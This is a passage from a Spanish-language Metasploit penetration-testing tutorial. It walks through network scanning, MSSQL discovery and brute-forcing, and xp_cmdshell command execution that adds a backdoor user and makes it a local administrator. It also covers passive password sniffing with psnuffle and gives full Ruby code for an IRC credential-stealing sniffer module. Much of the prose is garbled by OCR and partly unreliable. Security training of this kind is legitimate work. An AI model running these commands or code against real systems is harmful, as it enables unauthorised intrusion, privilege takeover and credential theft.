Ahora puede iniciar la consola de dradis usandigeiente comando desde el directorio "/pentestfichiadis/client/":



root@bt4:/pentest/misc/dradis/client# ruby ./dradis .rb
event(s) registered: [:exception]
Registered observers:
{:exception=>[#>, @io=#>]}
dradis>

Para mas informacién sobre el framework dradisdpuwesitar el sitio del proyecto énttp://dradisframework.org/

4.2 Escaneo de Puertos

Escaneo de Puertos

Aungue tenemos listo y configurado dradis paradpranuestras notas y resultados, es buena praotiaauna nueva base de
datos dentro de Metasploit los datos pueden des(gara una rapida recuperacion y para ser usadieos escenarios de
ataque.

msf > db_create

[*] Creating a new database instance...

[*] Successfully connected to the database

[*] File: /root/.msf3/sqlite3.db

msf > load db_tracker

[*] Successfully loaded plugin: db_tracker

msf > help

...Snip...

Database Backend Commands
Command Description
db_add_host Add one or more hosts to t he database
db_add_note Add a note to host
db_add_port Add a port to host
db_autopwn Automatically exploit ever ything
db_connect Connect to an existing dat abase
db_create Create a brand new databas e
db_del_host Delete one or more hosts f rom the database
db_del_port Delete one port from the d atabase
db_destroy Drop an existing database
db_disconnect Disconnect from the curren t database instance
db_driver Specify a database driver
db_hosts List all hosts in the data base
db_import_amap_mlog Import a THC-Amap scan res ults file (-0 -m)
db_import_nessus_nbe Import a Nessus scan resul t file (NBE)
db_import_nessus_xml Import a Nessus scan resul t file (NESSUS)
db_import_nmap_xml Import a Nmap scan results file (-0X)
db_nmap Executes nmap and records the output automatically
db_notes List all notes in the data base
db_services List all services in the d atabase
db_vulns List all vulnerabilities i n the database

msf >

Podemos usar el comando "db_nmap" para hacer anescon Nmap contra nuestros objetivos y teneseltado de
exploracion guardado en la base de datos creadat@mente sin embargo, Metasploit solo crearackiva de salida en XML
gue es el formato usado para la base de datosrasante dradis puede importar cualquier salida gnegrmal. Siempre es
bueno tener los tres formatos de salida de NmapL{(>gvep y normal) asi que escaneamos con Nmap asarfthg o parametro
"-0A" para generar los tres archivos de salidadugsar el comando "db_import_nmap_xml" para reliémbdase de datos
Metasploit.



Si no desea importar los resultados dentro de giraithplemente ejecute Nmap usando "db_nmap" soogdeiones que
normalmente usa, omitiendo el parametro (flag)aiea. El ejemplo de abajo seria "nmap -v -sV 168.1.0/24".

msf > nmap -v -sV 192.168.1.0/24 -oX subnet_1.xml

[*] exec: nmap -v -sV 192.168.1.0/24 -oX subnet_1.x ml
Starting Nmap 5.00 ( http://nmap.org ) at 2009-08-13 19:29 MDT
NSE: Loaded 3 scripts for scanning.

Initiating ARP Ping Scan at 19:29

Scanning 101 hosts [1 port/host]

i\.l.map done: 256 IP addresses (16 hosts up) scanned i n 499.41 seconds
Raw packets sent: 19973 (877.822KB) | Rcvd: 15125 ( 609.512KB)

Con el escaneo finalizado, usaremos el comanddrgiimrt nmap_xml" para importar el archivo xml de &m

msf > db_import_nmap_xml subnet_1.xml

El resultado importado del escaneo de Nmap se prexdetraves de los comandos "db_hosts" y "dbicss

msf > db_hosts

[*] Time: Thu Aug 13 19:39:05 -0600 2009 Host: 192. 168.1.1 Status: alive OS:
[*] Time: Thu Aug 13 19:39:05 -0600 2009 Host: 192. 168.1.2 Status: alive OS:
[*] Time: Thu Aug 13 19:39:05 -0600 2009 Host: 192. 168.1.10 Status: alive OS:
[*] Time: Thu Aug 13 19:39:05 -0600 2009 Host: 192. 168.1.100 Status: alive OS:

msf > db_services

[*] Time: Thu Aug 13 19:39:05 -0600 2009 Service: h 0st=192.168.1.1 port=22 proto=tcp state=up name=ssh

[*] Time: Thu Aug 13 19:39:05 -0600 2009 Service: h 0st=192.168.1.1 port=23 proto=tcp state=up name=tel net
[*¥] Time: Thu Aug 13 19:39:05 -0600 2009 Service: h 0st=192.168.1.1 port=80 proto=tcp state=up name=htt p
[*¥] Time: Thu Aug 13 19:39:05 -0600 2009 Service: h 0st=192.168.1.2 port=23 proto=tcp state=up name=tel net

Ahora estamos listos para importar nuestros retagtdentro de dradis cambiando de terminal donuetes la consola de

dradis ejecutado y usando el comando "import nmap".

dradis> import nmap /pentest/exploits/framework3/su bnet_1.xIs normal

There has been an exception:

[error] undefined method “each’ for nil:NilClass

/pentest/exploits/framework3/subnet_1.nmap was succ essfully imported dradis>

Si cambie a la interfaz web de dradis y actualzpagina, podra ver importado el resultado de escda Nmap en un facil

formato de arbol.



dradis v2.3.0 - Mozilla Firefox

File Edit View History Bookmarks Tools Help

@ & v 2 ‘:_:‘ L@J https fflocalhost:3004/ j |@v @

dradis v2.3.0 [logout]

(-] import from fik... E expart =

o addbranetl | o2 &) [£] || Find alode ) addnote | -] note categories + | ¥
+ [ 1Uploaded files Text « Category  Author  Last!
¢ (]192.168.2.113

= Category: Nmap output

= Interesting ports on 192.168.2.113: Mot shown: 995 closed ports POR Nmap output Nmap 29 4,
Full text:
Interesting ports on 192.168,2.113:

Mot shown: 995 closed ports
PORT STATE SERVICE VERSIOM

21/tcp open ftp vsftpd 2.0.5
22/tcp open ssh OpenSSH 4.3p2 Debian Bubuntul (protocel 2.0)
80/tcp open http Apache httpd 2.2.3 ({Ubuntu) PHP/5.2.1)

139/tcp open netbios-ssn Samba smbd 3. X (workgroup: MSHOME)
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: MSHOME)

Hotes Impart nots., Attachments

what's new in this varsion?

I.| Done localhost:3004 5 @r

4.3 Plugins Auxiliares

Plugins Auxiliares

Escéneres y la mayoria de los otros médulos atedgliasan la opcion RHOSTS en vez de RHOST. RHO&&8egptomar un
rango de IP (192.168.1.20-192.168.1.30), rangosRQ[¥2.168.1.0/24), multiples rangos separadospuas (192.168.1.0/24,
192.168.3.0/24), y separados en lista en un ardfiledtmp/hostlist.txt). Estas son otras funciermara nuestro archivo de salida
de Nmap.

Tenga en cuanta que, por defecto, todos los médel@scaner tendran el valor de THREADS en "1'bjpeién de THREADS
establece el numero presentes de procesos partligados durante el escaneo. Establezca este &alp numero alto a fin de
acelerar la exploracion o mantengalo bajo paracie@utrafico de red pero asegurese de cumplirlasrsiguientes reglas:

* Mantenga el valor de THREADS menor a 16 en un sis tema nativo de Win32.
* Mantenga el valor de THREADS menor a 200 cuando s e ejecuta MSF bajo Cygwin.
* En sistemas operativos Unix-like, puede poner el valor de THREADS en 256.

Escaneo de Puertos

Ademas de ejecutar Nmap, hay una variedad de etfsradores de puertos que estan disponiblesnoaros dentro del
framework.



[*] Searching loaded modules for pattern 'portscan’

Auxiliary
Name Description
scanner/portscan/ack TCP ACK Firewall Scan ner
scanner/portscan/ftpbounce FTP Bounce Port Scann er
scanner/portscan/syn TCP SYN Port Scanner
scanner/portscan/tcp TCP Port Scanner
scanner/portscan/xmas TCP "XMas" Port Scann er

Vamos a comparar nuestro resultado del puerto 80 realizado con Nmap con los modulos de escaneo de Metasploit. Primero
vamos a determinar que hosts tienen el puerto 80 abierto segun Nmap.

msf > cat subnet_1.gnmap | grep 80/open | awk {pri nt $2}'

[*] exec: cat subnet_1.gnmap | grep 80/open | awk {print $2}'
192.168.1.1

192.168.1.2

192.168.1.10

192.168.1.109
192.168.1.116
192.168.1.150

El escaneo con Nmap realizado hace un rato fue un escaneo SYN por lo que ejecutaremos el mismo escaneo a través de la
subred (subnet) buscando puertos 80 por la interfaz ethO usando Metasploit.

msf > use scanner/portscan/syn
msf auxiliary(syn) > show options
Module options:
Name Current Setting Required Description

BATCHSIZE 256 yes The number of hosts to scan per set
INTERFACE no The name of the interface

PORTS  1-10000 yes Ports to sc an (e.g. 22-25,80,110-900)
RHOSTS yes The target address range or CIDR identifier
THREADS 1 yes The number of concurrent threads

TIMEOUT 500 yes The reply r ead timeout in milliseconds

msf auxiliary(syn) > set INTERFACE eth0O
INTERFACE => eth0

msf auxiliary(syn) > set PORTS 80
PORTS => 80

msf auxiliary(syn) > set RHOSTS 192.168.1.0/24
RHOSTS =>192.168.1.0/24

msf auxiliary(syn) > set THREADS 50
THREADS => 50

msf auxiliary(syn) > run

[*] TCP OPEN 192.168.1.1:80

[*] TCP OPEN 192.168.1.2:80

[*] TCP OPEN 192.168.1.10:80

[*] TCP OPEN 192.168.1.109:80

[*] TCP OPEN 192.168.1.116:80

[*] TCP OPEN 192.168.1.150:80

[*] Auxiliary module execution completed




Asi podemos ver que los modulos de escaner incadpsren Metasploit son mas que capaces para eacsistemas y con
puertos abiertos para nosotros. Es otra excelentarhienta para tener en tu arsenal si estas udde@sploit en un sistema sin
Nmap instalado.

SMB Version Scanning

Ahora que hemos determinado cuales hosts estaonildps en la red, podemos intentar determinar sig@ma operativo estan
ejecutando. Esto nos ayudara a reducir los atggaresatacar un sistema en especifico y dejarempsrdier el tiempo en
aquellos que no son vulnerables a un exploit eticpéar.

Como hay muchos sistemas en la exploracion conest@ 445 abierto, vamos a usar el modulo "scasméyersion” para
determinar cual versién de Windows usa el objefieoal version de Samba se encuentra en un hodticor.

msf> use scanner/smb/smb_version

msf auxiliary(version) > set RHOSTS 192.168.1.0/24
RHOSTS =>192.168.1.0/24

msf auxiliary(version) > set THREADS 50
THREADS => 50

msf auxiliary(version) > run

[*] 192.168.1.100 is running Windows 7 Enterprise ( Build 7600) (language: Unknown)
[*] 192.168.1.116 is running Unix Samba 3.0.22 (lan guage: Unknown)

[*] 192.168.1.121 is running Windows 7 Ultimate (Bu ild 7100) (language: Unknown)
[*] 192.168.1.151 is running Windows 2003 R2 Servic e Pack 2 (language: Unknown)
[*] 192.168.1.111 is running Windows XP Service Pac k 3 (language: English)

[*] 192.168.1.114 is running Windows XP Service Pac k 2 (language: English)

[*] 192.168.1.124 is running Windows XP Service Pac k 3 (language: English)

[*] Auxiliary module execution completed

Observe que si usamos el comando "db_hosts" ahora, la informacion recién obtenida es guarda en la base de datos de

Metasploit.

msf auxiliary(version) > db_hosts

[*] Time: Thu Aug 13 19:39:05 -0600 2009 Host: 192. 168.1.1 Status: alive OS:

[*] Time: Thu Aug 13 19:39:05 -0600 2009 Host: 192. 168.1.2 Status: alive OS:

[*] Time: Thu Aug 13 19:39:05 -0600 2009 Host: 192. 168.1.10 Status: alive OS:

[*] Time: Thu Aug 13 19:39:05 -0600 2009 Host: 192. 168.1.100 Status: alive OS: Windows Windows 7 Enter prise
[*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192. 168.1.104 Status: alive OS:

[*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192. 168.1.109 Status: alive OS:

[*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192. 168.1.111 Status: alive OS: Windows Windows XP

[*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192. 168.1.114 Status: alive OS: Windows Windows XP

[*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192. 168.1.116 Status: alive OS: Unknown Unix

[*¥] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192. 168.1.121 Status: alive OS: Windows Windows 7 Ultim ate
[*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192. 168.1.123 Status: alive OS:

[*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192. 168.1.124 Status: alive OS: Windows Windows XP

[*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192. 168.1.137 Status: alive OS:

[*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192. 168.1.150 Status: alive OS:

[*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192. 168.1.151 Status: alive OS: Windows Windows 2003 R2

Idle Scanning

Nmap con el "IPID Idle scannning” nos permite sepaco mas cauteloso explorando un objetivo, masrge entrega una
direccion IP (spoofing) de otro host en la redaRpare este tipo de exploracién trabaje, tendremesqgscar un host que este
inactivo en la red y usar su numero de secuentiaifferemental o un Broken little-endian increménkéetasploit contiene el
modulo "scanner/ip/ipidseq" para explorar y vethost que se adapte a los requisitos.

Para mas informacion sobre idle scanning con Nmehttp://nmap.org/book/idlescan.htif@nlace en ingles) O en
http://nmap.org/idlescan-es.ht(@nlace en espafiol)

msf auxiliary(writable) > use scanner/ip/ipidseq
msf auxiliary(ipidseq) > show options
Module options:

Name Current Setting Required Description




RHOSTS yes The target ad dress range or CIDR identifier

RPORT 80 yes The target po rt
THREADS 1 yes The number of concurrent threads
TIMEOUT 500 yes The reply rea d timeout in milliseconds

msf auxiliary(ipidseq) > set RHOSTS 192.168.1.0/24

RHOSTS => 192.168.1.0/24

msf auxiliary(ipidseq) > set THREADS 50

THREADS => 50

msf auxiliary(ipidseq) > run

[*] 192.168.1.1's IPID sequence class: All zeros

[*] 192.168.1.2's IPID sequence class: Incremental!

[*] 192.168.1.10's IPID sequence class: Incremental !
[*] 192.168.1.104's IPID sequence class: Randomized

[*] 192.168.1.109's IPID sequence class: Incrementa I
[*] 192.168.1.111's IPID sequence class: Incrementa I
[*] 192.168.1.114's IPID sequence class: Incrementa I
[*] 192.168.1.116's IPID sequence class: All zeros

[*] 192.168.1.124's IPID sequence class: Incrementa I
[*] 192.168.1.123's IPID sequence class: Incrementa I
[*] 192.168.1.137's IPID sequence class: All zeros

[*] 192.168.1.150's IPID sequence class: All zeros

[*] 192.168.1.151's IPID sequence class: Incrementa I
[*] Auxiliary module execution completed

Viendo los resultados de nuestro analisis, tenemos un numero de un potencial zombie que podemos utilizar para realizar un idle
scanning. Vamos a intentar escanear un host usando el zombie con 192.168.1.109 y ver si obtenemos los mismos resultados.

msf auxiliary(ipidseq) > nmap -PN -sl 192.168.1.109 192.168.1.114

[*] exec: nmap -PN -sl 192.168.1.109 192.168.1.114

Starting Nmap 5.00 ( http://nmap.org ) at 2009-08-14 05:51 MDT

Idle scan using zombie 192.168.1.109 (192.168.1.109 :80); Class: Incremental

Interesting ports on 192.168.1.114:

Not shown: 996 closed|filtered ports

PORT STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

3389/tcp open ms-term-serv

MAC Address: 00:0C:29:41:F2:E8 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 5.56 seconds

4.4 Buscando MSSQL

Buscando MSSQL

Uno de mis favoritos es la huella avanzada UDP de MSSQL servers. Si esta realizando un
prueba de penetracién interna, esta es una herramienta que deberia tener. Cuando se
instala MSSQL, se instala en el puerto 1433 TCP o un puerto aleatorio TCP dinamico. Si el
puerto es generado dinamicamente, puede ser complicado para un atacante conseguir los
servidores de MSSQL a los cual atacar.Por suerte Microsoft, no ha bendecido con el puerto
1434 UDP, una vez que se ha consultado, nos permite conseguir una pequeia informacion
sobre los servidores SQL incluyendo que puertos TCP esta a la escucha. Carguemos el
modulo y usemoslo para descubrir multiples servidores.



msf > search mssq|
[¥] Searching loaded modules for pattern ‘'mssql'...

Exploits
Name Descri ption
windows/mssql/lyris_listmanager_weak_pass Lyris ListManager MSDE Weak sa Password
windows/mssqgl/ms02_039_slammer Micros oft SQL Server Resolution Overflow
windows/mssqgl/ms02_056_hello Micros oft SQL Server Hello Overflow
windows/mssql/mssql_payload Micros oft SQL Server Payload Execution
Auxiliary
Name Description
admin/mssqgl/mssgl_enum  Microsoft SQL Server C onfiguration Enumerator
admin/mssql/mssqgl_exec  Microsoft SQL Server x p_cmdshell Command Execution
admin/mssql/mssqgl_sql  Microsoft SQL Server G eneric Query

scanner/mssqgl/mssgl_login MSSQL Login Utility
scanner/mssqgl/mssqgl_ping MSSQL Ping Utility
msf > use scanner/mssql/mssql_ping
msf auxiliary(mssqgl_ping) > show options
Module options:
Name Current Setting Required Description

RHOSTS yes The target ad dress range or CIDR identifier
THREADS 1 yes The number of concurrent threads
msf auxiliary(mssqgl_ping) > set RHOSTS 10.211.55.1/ 24

RHOSTS =>10.211.55.1/24

msf auxiliary(mssqgl_ping) > run

[*] SQL Server information for 10.211.55.128:
[*] tcp = 1433

[*] np = SSHACKTHISBOX-0pipesglquery

[*¥] Version = 8.00.194

[*] InstanceName = MSSQLSERVER

[*] IsClustered = No

[*] ServerName = SSHACKTHISBOX-0

[*] Auxiliary module execution completed

El primer comando que usamos fue para buscar dealgjugins "mssql". La segunda instruccion "use
scanner/mssql/mssgl_ping", esto carga el moduksdaner para ser usado por nosotros. Lo siguiksti@yw options” nos
permite ver las opciones que necesitamos especifitaset RHOSTS 10.211.55.1/24" establece elgatgsubred donde
gueremos empezar a buscar los servidores SQL. legpéeificar /16 o el que quiera después. Yo rendaréa incrementar el
numero de threads ya que podria tardar mucho ti@mpain solo threads en el escaner.

Después que se usa el comando "run”, se realiaadlisis y regresa la informaciéon sobre el servd8SQL. Como se puede
ver, el nombre del computador "SSHACKTHISBOX-0"lyaerto TCP 1433 donde se esta ejecutando. Empeste podria
utilizar el modulo "scanner/mssql/mssql_login" peralizar brute-force a la contrasefia pasandotedulo un archivo de
diccionario.

msf > use scanner/mssql/mssql_login
msf auxiliary(mssgl_login)> show options

"La primera linea de arriba te permiten entrar étlofo de Fuerza bruta de Mssql propuesto por matagson la segunda linea
puedes ver las opciones de este mddulo para obtenersultados esperados”

También puede utilizar Fast-Track, medusa, o hgdra hacer esto. Una vez conseguida la contrasafiain pequefio modulo
para ejecutar el xp_cmdshell con procedimientosiedmados.




msf auxiliary(mssql_login) > use admin/mssql/mssql_ exec
msf auxiliary(mssgl_exec) > show options
Module options:

Name Current Setting Required Description

CMD cmd.exe /c echo OWNED > C:\owned.exe no Command to execute

HEX2BINARY /pentest/exploits/framework3/data/exp loits/mssql/h2b no The path to the hex2bina ry script on the disk
MSSQL_PASS no The password for the spe cified username
MSSQL_USER sa no The username to authenti cate as

RHOST yes The target address

RPORT 1433 yes The target port

msf auxiliary(mssgl_exec) > set RHOST 10.211.55.128

RHOST =>10.211.55.128

msf auxiliary(mssgl_exec) > set MSSQL_PASS password

MSSQL_PASS => password

msf auxiliary(mssgl_exec) > set CMD net user rellk ihazpassword /ADD
cmd => net user rellk ihazpassword /ADD

msf auxiliary(mssql_exec) > exploit

The command completed successfully.

[*] Auxiliary module execution completed

Viendo la linea "net user rellk ihazpassword /ADBEmos agregado una cuenta de usuario llamadd™relésde aqui podemos
usar "net localgroup administrators rellk /ADD" pabtener un administrador local en el sistemadta punto tenemos el
control total del sistema.

<para versiones de windows en espafiol la sintaxiarobia>

Viendo la linea "net user rellk ihazpassword /ADBEmos agregado una cuenta de usuario llamadd™relésde aqui podemos
usar "net localgroup Administradores rellk /ADD'tgpabtener un administrador local en el sistemaedt@ punto tenemos el
control total del sistema.

4.5 |dentificacién de Servicios

|dentificacion de Servicios

De nuevo, un uso distinto que Nmap para realizar un escaneo de servicios en nuestra red objetivo, Metasploit también incluye
una gran variedad de escaneres para distintos servicios, que ayudan a determinar servicios vulnerables que se estan ejecutando
en la maquina objetivo.

msf auxiliary(tcp) > search auxiliary *scanner

[*] Searching loaded modules for pattern "*scanner

Auxiliary
Name Desc ription
scanner/db2/discovery DB2 Discovery Service Detection.
scanner/dcerpc/endpoint_mapper Endp oint Mapper Service Discovery
scanner/dcerpc/hidden Hidd en DCERPC Service Discovery
scanner/dcerpc/management Remo te Management Interface Discovery
scanner/dcerpc/tcp_dcerpc_auditor DCER PC TCP Service Auditor
scanner/dect/call_scanner DECT Call Scanner
scanner/dect/station_scanner DECT Base Station Scanner
scanner/discovery/arp_sweep ARP Sweep Local Network Discovery
scanner/discovery/sweep_udp UbP Service Sweeper
scanner/emc/alphastor_devicemanager EMC AlphaStor Device Manager Service.
scanner/emc/alphastor_librarymanager EMC AlphaStor Library Manager Service.
scanner/ftp/anonymous Anon ymous FTP Access Detection
scanner/http/frontpage Fron tPage Server Extensions Detection
scanner/http/frontpage_login Fron tPage Server Extensions Login Utility
scanner/http/lucky_punch HTTP Microsoft SQL Injection Table XSS Infection
scanner/http/ms09_020_webdav_unicode_bypass MS09 -020 11S6 WebDAYV Unicode Auth Bypass
scanner/http/options HTTP Options Detection
scanner/http/version HTTP Version Detection

...snip...
scanner/ip/ipidseq IPID Sequence Scanner
scanner/misc/ib_service_mgr_info Borl and InterBase Services Manager Information
scanner/motorola/timbuktu_udp Moto rola Timbuktu Service Detection.
scanner/mssql/mssql_login MSSQ L Login Utility
scanner/mssql/mssql_ping MSSQ L Ping Utility
scanner/mysql/version MySQ L Server Version Enumeration




scanner/nfs/nfsmount NFS Mount Scanner
scanner/oracle/emc_sid Orac le Enterprise Manager Control SID Discovery
scanner/oracle/sid_enum SID Enumeration.
scanner/oracle/spy_sid Orac le Application Server Spy Servlet SID
Enumeration.
scanner/oracle/tnsisnr_version Orac le tnslsnr Service Version Query.
scanner/oracle/xdb_sid Orac le XML DB SID Discovery
...snip...
scanner/sip/enumerator SIP username enumerator
scanner/sip/options SIP Endpoint Scanner
scanner/smb/login SMB Login Check Scanner
scanner/smb/pipe_auditor SMB Session Pipe Auditor
scanner/smb/pipe_dcerpc_auditor SMB Session Pipe DCERPC Auditor
scanner/smb/smb2 SMB 2.0 Protocol Detection
scanner/smb/version SMB Version Detection
scanner/smtp/smtp_banner SMTP Banner Grabber
scanner/snmp/aix_version AIX SNMP Scanner Auxiliary Module
scanner/snmp/community SNMP Community Scanner
scanner/ssh/ssh_version SSH Version Scannner
scanner/telephony/wardial Ward ialer
scanner/tftp/tftpbrute TFTP Brute Forcer
scanner/vnc/vnc_none_auth VNC Authentication None Detection
scanner/x11/open_x11 X11 No-Auth Scanner

En el escaneo de puertos aparecieron varias maquimeel puerto 22 TCP abierto. SSH es muy segnm|ps vulnerabilidades
no son desconocidas por eso hay que recopilarit#otanacion como sea posible de los objetivos. ¥sua usar nuestro archivo
de salida en este ejemplo, analizando el hostelconerto 22 abierto y pasandolo a "RHOSTS".

msf auxiliary(arp_sweep) > use scanner/ssh/ssh_vers ion
msf auxiliary(ssh_version) > show options
Module options:

Name Current Setting Required Description

RHOSTS yes The target ad dress range or CIDR identifier

RPORT 22 yes The target po rt

THREADS 1 yes The number of concurrent threads
msf auxiliary(ssh_version) > cat subnet_1.gnmap | g rep 22/open | awk {print $2}' > /tmp/22_open.txt
[*¥] exec: cat subnet_1.gnmap | grep 22/open | awk ' {print $2}' > /tmp/22_open.txt
msf auxiliary(ssh_version) > set RHOSTS file:/tmp/2 2_open.txt

RHOSTS => file:/tmp/22_open.txt

msf auxiliary(ssh_version) > set THREADS 50

THREADS => 50

msf auxiliary(ssh_version) > run

[*] 192.168.1.1:22, SSH server version: SSH-2.0-dro pbear_0.52

[*] 192.168.1.137:22, SSH server version: SSH-1.99- OpenSSH_4.4
[*¥] Auxiliary module execution completed

Servidores FTP configurados pobremente pueden frecuentemente ser el punto de apoyo que se necesita para ganar acceso a
una red entera por eso siempre hay que verificar si el acceso anénimo esta permitido en cualquier puerto FTP abierto el cual
usualmente es el puerto TCP 21. Vamos a establecer los THREADS en 10 ya que vamos a escaner un rango de 10 hosts.

msf > use scanner/ftp/anonymous

msf auxiliary(anonymous) > set RHOSTS 192.168.1.20- 192.168.1.30
RHOSTS => 192.168.1.20-192.168.1.30

msf auxiliary(anonymous) > set THREADS 10

THREADS => 10

msf auxiliary(anonymous) > show options

Module options:

Name Current Setting  Required Descripti on

FTPPASS mozilla@example.com no The passw ord for the specified username
FTPUSER anonymous no The usern ame to authenticate as

RHOSTS yes The targe t address range or CIDR identifier
RPORT 21 yes The targe t port

THREADS 1 yes The numbe r of concurrent threads

msf auxiliary(anonymous) > run




[*] 192.168.1.23:21 Anonymous READ (220 (vsFTPd 1.1 .3)
[*] Recording successful FTP credentials for 192.16 8.1.23
[*] Auxiliary module execution completed

En un corto periodo de tiempo y con muy poco tahbagmos podido adquirir una gran informacion stdsehosts que residen
en nuestra red lo que nos da una vision mucho ragjoe nos enfretamos cuando realizamos nuestbgude penetracion.

Photobucket

4.6 Password Sniffing

Password Sniffing

Recientemente, Max Moser libero un modulo de Mététsiamado "psnuffle” que es un sniffer de passivyeara obtener las
contrasefas parecido a la herramienta dsniff. Atierate soporta pop3, imap, ftp, y HTTP GET. Puede inas sobre el modulo
en el Blog de Max ehttp://remote-exploit.blogspot.com/2009/08/psnuffeessword-sniffer-for.html

Usar el modulo "psnuffle” es extremadamente fdédne algunas opciones disponibles pero el moduloibna muy bien asi por
defecto. ("out of the box")

msf > use auxiliary/sniffer/psnuffle
msf auxiliary(psnuffle) > show options
Module options:
Name Current Setting Required Description

FILTER no The filter string for capturing traffic
INTERFACE no The name of the interface

PCAPFILE no The name of the PCAP capture file to process
PROTOCOLS all yes A comma-del imited list of protocols to sniff or "all".
SNAPLEN 65535 yes The number of bytes to capture

TIMEOUT 1 yes The number of seconds to wait for new data

Como puede ver, tiene algunas opciones disponiiolelsiyendo la capacidad de importar un archivdwaglo a PCAP. Vamos a
ejecutar el escaner con las opciones por defecto.

msf auxiliary(psnuffle) > run
[*¥] Auxiliary module running as background job

[*¥] Loaded protocol FTP from /pentest/exploits/fram ework3/data/exploits/psnuffle/ftp.rb...

[*] Loaded protocol IMAP from /pentest/exploits/fra mework3/data/exploits/psnuffle/imap.rb...

[*] Loaded protocol POP3 from /pentest/exploits/fra mework3/data/exploits/psnuffle/pop3.rb...

[*] Loaded protocol URL from /pentest/exploits/fram ework3/data/exploits/psnuffle/url.rb...

[*] Sniffing traffic.....

[*] Successful FTP Login: 192.168.1.112:21-192.168. 1.101:48614 >> dookie / dookie (220 3Com 3CDaemon F TP

Server Version 2.0)

Hemos capturado un login de FTP con éxito. Estmasexcelente herramienta para recopilar infornrmd&manera pasiva.

4.6.1 Ampliando Psnuffle

Ampliando Psnuffle




Como escribir un modulo nuevo de psnuffle

Psnuffle es facil de extender debido a su disefidutao. Esta seccion lo guiara a través del prodesdesarrollo de un sniffer
(Notificacién y mensajes de Nick) del protocolo IR6ternet Relay Chat).

Ubicacién del médulo

Todos los distintos médulos se encuentran en dgiaiépsnuffle. Los nombres corresponden al nont@leprotocolo usado
dentro de psnuffle. Para desarrollar nuestro promidulo, veremos las partes importantes del modelon sniffer de pop3
existente y la usaremos como plantilla.

Definiendo patrones:

self.sigs = {

0k => /M+OK[*n]*)n/si,

‘err => /N-ERR[*n]*)n/si,
:user => /AUSERs+([*n]+)n/si,
:pass => /"PASSs+([*n]+)n/si,
:quit => (QUITs*[*n]*)n/si }

Esta seccidn define los patrones de expresiones que se usaran durante el sniffing para identificar datos interesantes.
Las expresiones regulares se veran extrafias al principio pero son muy poderosas. En resumen, todo dentro del ()
estara disponible mas tarde dentro de una variable en el script.

self.sigs = {
:user => /N(NICKs+["n]+)/si,
:pass => /b(IDENTIFYs+[*n]+)/si,}

Para el IRC esta seccion lucird como la de arBbgo se que no todos los nick en los servidoras UIBENTIFY para enviar la
contrasefa, pero los de freenode lo hacen. Heyessta ejemplo :-)

Definicion de sesion:

Para cada modulo, primero tenemos que definir geet@s se deben usar y como sera rastreada la.sesio

return if not pkt[:tcp] # We don't want to handle a nything other than tcp

return if (pkt[:tcp].src_port != 6667 and pkt[:tcp] .dst_port != 6667) # Process only packet on port 66 67
#Ensure that the session hash stays the same for bo th way of communication

if (pkt[:tcp].dst_port == 6667) # When packet is se nt to server

s = find_session("#{pkt[:ip].dst_ip}:#{pkt[:tcp].ds t_port}-

#{pkt[:ip].src_ip}:#{pkt[:tcp].src_port}")

else # When packet is coming from the server

s = find_session("#{pkt[:ip].src_ip}:#{pkt[:tcp].sr c_port}-
#{pkt[:ip].dst_ip}:#{pkt[:tcp].dst_port}")

end

Ahora que tenemos un objeto de sesidn que Unicansensolida la informacion, podemos seguir y
procesar el contenido del paquete que coincidaunarde las expresiones regulares que hemos definido
anteriormente.

case matched



when :user # when the pattern "/*(NICKs+[*n]+)/si"
s[:user]=matches #Store the name into the session h
# Do whatever you like here... maybe a puts if you
when :pass # When the pattern "/b(IDENTIFYs+[*n]+)/
s[:pass]=matches # Store the password into the sess
if (s[:user] and s[:pass]) # When we have the name
print "-> IRC login sniffed: #{s[:session]} >> user

end

sessions.delete(s[:session]) # Remove this session
when nil

# No matches, don't do anything else # Just in case
sessions[s[:session]].merge!({k => matches}) # Just
end

is matching the packet content

ash s for later use

need to

si" is matching

ion hash s as well

and the pass sniffed, print it
name:#{s[:user]} password:#{s[:pass][}n"

because we dont need to track it anymore

anything else is matching...
add it to the session object

Eso es basicamente. Descarga el script completo desde [1]

# Sniffer class for irc logins - part of psnuffle s

# Psnuffle password sniffer add-on class for irc
# part of psnuffle sniffer auxiliary module

#

# When db is available reports go into db

# | did not invest much time just standard

# freenode IDENTIFY grabbing

class SnifferIRC < BaseProtocolParser
def register_sigs

niffer auxiliary module

self.sigs = {
.user => [N(NICK\s+[Mn]+)/si,
:pass => \b(IDENTIFY\s+[™Mn]+)/si,
}
end
def parse(pkt)

# We want to return immediatly if we do not have

handled by us
return if not pkt[:tcp]

return if (pkt[:tcp].src_port != 6667 and pkt[:tc

a packet which is

p].dst_port != 6667)

# Ok it's a packet for us lets look fot the match ing session
if (pkt[:tcp].dst_port == 6667) # When command to server
s = find_session("#{pkt[:ip].dst_ip}:#{pkt[:tcp] .dst_port}-

#{pkt[:ip].src_ip}:#{pkt[:tcp].src_port}")

else # When command from

based on server ip and port only)

server (session is

s = find_session("#{pkt[:ip].src_ip}:#{pkt[:tcp] .src_port}-

#{pkt[:ip].dst_ip}:#{pkt[:tcp].dst_port}")
end

self.sigs.each_key do |K|

# There is only one pattern per run to test

matched = nil
matches = nil

if (pkt[:tcp].payload_data =~ self.sigs[k])

matched = k
matches = $1

end

case matched
when :user

s[:user]=matches

if db

# We had a /NICK so we report a service for th at




host
s[:name]="IRC Server Service"
report_service(s)
end

when :pass
s[:pass]=matches
if (s[:user] and s[:pass])

if db
# Report into DB when possible
s[:proto]="TCP/IRC"
s[:extra]="IRC Account Information"
report_auth_info(s)

else
print "-> IRC login sniffed:

#{s[:session]} >> username:#{s[:user]} password:#{s [:pass]in”
end

sessions.delete(s[:session])

end

when nil
# No matches, no saved state

else
sessions[s[:session]].merge!({k => matches})

end # end case matched

end # end of each_key
end # end of parse
end

4.7 SNMP Sweeping

